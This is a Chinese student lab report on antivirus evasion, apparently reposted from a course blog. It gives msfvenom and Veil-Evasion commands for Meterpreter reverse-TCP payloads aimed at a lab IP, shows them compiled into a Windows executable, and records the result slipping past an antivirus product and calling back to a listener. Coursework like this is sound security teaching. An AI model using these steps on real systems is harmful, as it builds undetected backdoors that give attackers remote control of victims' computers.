20145324 王嘉澜《网络对抗技术》 免杀原理与实践

实验内容

•使用msf编码器,veil-evasion,以及利用shellcode编程等免杀工具,来验证各种免杀方式的免杀强度
•通过组合各种技术实现恶意代码免杀,在另一台有杀毒软件的主机上进行测试

实践步骤

•通过VirSCAN.org来检测上次实验生成的病毒的抗杀能力
•检测结果
885282-20170325100116471-205902034.jpg
•该病毒被检测出来,并被发现是木马病毒
•吓得我赶紧删了,谁知道检查的时候又让传一遍

•使用Veil-Evasion生成可执行文件

•在终端输入指令veil-evasion打开软件
885282-20170325100715158-1969165838.jpg
•设置payload:use python/meterpreter/rev_tcp
•设置反弹连接IP:set LHOST 192.168.88.129
•设置反弹端口4444:set port 4444
•生成:generate
•程序名:5324
•选择操作:1
•程序生成成功,在目录下找到该程序,发送到win检测
885282-20170325101345033-1496610289.jpg
•检测结果
885282-20170325101511221-1083207235.jpg

•C语言调用Shellcode

•在kali下,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.129 LPORT=5324 -f c 生成一个C语言shellcode数组
885282-20170325101753924-95891048.jpg
•用命令行创建一个C文件:MSSC.c,将上面生成的数组复制到该文件下,并加入一个主函数
•使用命令i686-w64-mingw32-g++ MSSC.c -o MSSC_5324.exe 将该C语言代码MSSC.c转换为一个可在64位win下操作的可执行文件MSSC_5324.exe
885282-20170325103205799-909248878.jpg
•将MSSC_5353.exe传到win,电脑管家马上报告说有危险,添加到信任区,检测
•检测结果
885282-20170325103359705-1426697041.jpg
•很少一部分软件可以查出来
•使用ncat把exe传到电脑
885282-20170325103829283-1533215431.jpg
885282-20170325103841971-264041220.jpg
885282-20170325103855236-1977966287.jpg
•使用电脑管家杀毒,结果发现不了
885282-20170325104019033-242859096.jpg
•在Kali下使用msf监听,运行刚刚编译生成的可执行文件,获取权限
885282-20170325104426846-65440577.jpg
885282-20170325104448330-1768943640.jpg
•回连成功
885282-20170325104514971-1346850211.jpg
885282-20170325104526955-1484905450.jpg

基础问题回答

1、杀软是如何检测出恶意代码的?
•通过特征码:与已经存在的恶意代码进行比对之类的
•通过行为:恶意代码可能会修改注册表、设置自启动、更改系统日志等

2、免杀是做什么?
•通过恶意代码植入技术使得恶意代码不会被杀毒软件检测出来

3、免杀的基本方法有哪些?
•加壳、使用反弹式连接
•用其他的语言编译等

实验总结与体会

触目惊心,平时信赖的杀毒软件也检测不出来自己写的恶意代码,想到以前自己为了电脑安全还一口气装了好几个杀毒软件,too naive

离实战还缺的技术或步骤

杀毒软件的病毒库是不断更新的,真正要实战的话应该还需要投入更多的时间和精力来研究代码漏洞

转载于:https://www.cnblogs.com/SJZGM10/p/6616406.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值